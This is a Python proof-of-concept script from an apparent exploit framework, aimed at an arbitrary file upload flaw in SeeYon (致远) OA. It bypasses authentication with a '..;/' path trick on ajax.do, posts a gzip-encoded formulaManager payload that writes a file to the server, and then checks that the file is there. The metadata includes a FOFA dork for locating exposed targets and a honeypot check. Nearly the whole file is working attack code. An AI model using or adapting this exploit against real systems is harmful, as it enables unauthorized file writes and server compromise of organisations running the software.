Files
BLEN/poc/SeeYon_致远/File_Upload_ajax_do/poc.py
openx-org 8a6bd53d07 11
2022-01-04 17:24:54 +08:00

84 lines
4.8 KiB
Python
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# coding:utf-8
import requests
from lib.core.common import url_handle,get_random_ua
from lib.core.poc import POCBase
# ...
import urllib3
urllib3.disable_warnings()
import json
class POC(POCBase):
_info = {
"author" : "jijue", # POC作者
"version" : "1", # POC版本默认是1
"CreateDate" : "2021-06-09", # POC创建时间
"UpdateDate" : "2021-06-09", # POC创建时间
"PocDesc" : """
""", # POC描述写更新描述没有就不写
"name" : "致远OA ajax.do 任意文件上传", # 漏洞名称
"VulnID" : "Blen-2021-0001", # 漏洞编号以CVE为主若无CVE使用CNVD若无CNVD留空即可
"AppName" : "致远OA", # 漏洞应用名称
"AppVersion" : """
致远OA V8.0
致远OA V7.1、V7.1SP1
致远OA V7.0、V7.0SP1、V7.0SP2、V7.0SP3
致远OA V6.0、V6.1SP1、V6.1SP2
致远OA V5.x
致远OA G6
""", # 漏洞应用版本
"VulnDate" : "2021-06-09", # 漏洞公开的时间,不知道就写今天格式xxxx-xx-xx
"VulnDesc" : """
致远OA部分版本存在前台文件上传
""", # 漏洞简要描述
"fofa-dork":"""
title="致远" && country="CN"
""", # fofa搜索语句
"example" : "", # 存在漏洞的演示url写一个就可以了
"exp_img" : "", # 先不管
}
def _verify(self):
"""
返回vuln
存在漏洞vuln = [True,html_source] # html_source就是页面源码
不存在漏洞vuln = [False,""]
"""
vuln = [False,""]
url0 = self.target + "/seeyon/autoinstall.do/..;/ajax.do" # url自己按需调整
url1 = self.target + "/seeyon/autoinstall.do.css/..;/ajax.do?method=ajaxAction&managerName=formulaManager&requestCompress=gzip"
data1 = "managerMethod=validate&arguments=%1F%C2%8B%08%00%20%C3%BECa%00%C3%BFu%C2%91%5FO%C3%820%10%C3%80%C3%9F%C3%BD%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%C3%A9%22%C3%96%0D%C3%90%C3%B75%C3%9F%C3%95%1C3%C3%BE%01%00%00"
url2 = self.target + "/seeyon/ajaOxdFoteXst.txt"
headers = {"User-Agent":get_random_ua(),
"Connection":"close",
"Content-Type": "application/x-www-form-urlencoded",
}
try:
"""
检测逻辑漏洞存在则修改vuln值为True漏洞不存在则不动
"""
req0 = requests.get(url0,headers = headers , proxies = self.proxy ,timeout = self.timeout,verify = False)
if "java.lang.NullPointerException:null" in req0.text:#req.status_code == 200 and :
req1 = requests.post(url1,data = data1,headers = headers , proxies = self.proxy ,timeout = self.timeout,verify = False)
if req1.status_code == 500 and json.loads(req1.text)["code"] != "-1":
req2 = requests.get(url2,headers = headers , proxies = self.proxy ,timeout = self.timeout,verify = False)
if "ajaOxdFoteXst" in req2.text and req2.status_code == 200:
vuln = [True,req2.text]
else:
vuln = [False,req0.text]
except Exception as e:
raise e
# 以下逻辑酌情使用
if self._honeypot_check(vuln[1]) == True:
vuln[0] = False
return vuln
def _attack(self):
return self._verify()